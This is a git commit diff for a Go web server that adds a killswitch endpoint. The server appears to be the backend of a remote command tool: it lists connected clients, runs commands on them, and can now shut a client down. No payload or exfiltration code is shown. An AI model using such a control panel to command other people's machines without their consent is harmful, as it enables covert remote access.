Setup killswitch function backend

This commit is contained in:
raul 2024-06-07 09:59:14 +02:00
parent cb0b3be8c5
commit a76a2494b2
1 changed files with 17 additions and 4 deletions

View File

@ -31,13 +31,13 @@ func WebServer() {
r.GET("/", getRoot)
r.GET("/command/:clientid", getCommands)
r.POST("/command/:clientid", execCMD)
r.POST("/kill/:clientid", sendKillswitch)
r.Run(":" + WebPort)
}
func getRoot(c *gin.Context) {
c.HTML(http.StatusOK, "templates/index.html", gin.H{
"UserAgent": c.Request.UserAgent(),
"Clients": clientList,
"Clients": clientList,
})
}
@ -54,11 +54,24 @@ func getCommands(c *gin.Context) {
return
}
c.HTML(http.StatusOK, "templates/command.html", gin.H{
"UserAgent": c.Request.UserAgent(),
"Client": client,
"Client": client,
})
}
func sendKillswitch(c *gin.Context) {
clientID := c.Param("clientid")
intClientID, err := strconv.Atoi(clientID)
if err != nil {
c.String(http.StatusInternalServerError, "Error happened fetching client: %v", err)
return
}
inst := Instructions{
IsKillswitch: true,
}
clientList[intClientID].Instruct(inst)
clientList[intClientID].IsOnline = false
}
func execCMD(c *gin.Context) {
id := c.Param("clientid")
idInt, err := strconv.Atoi(id)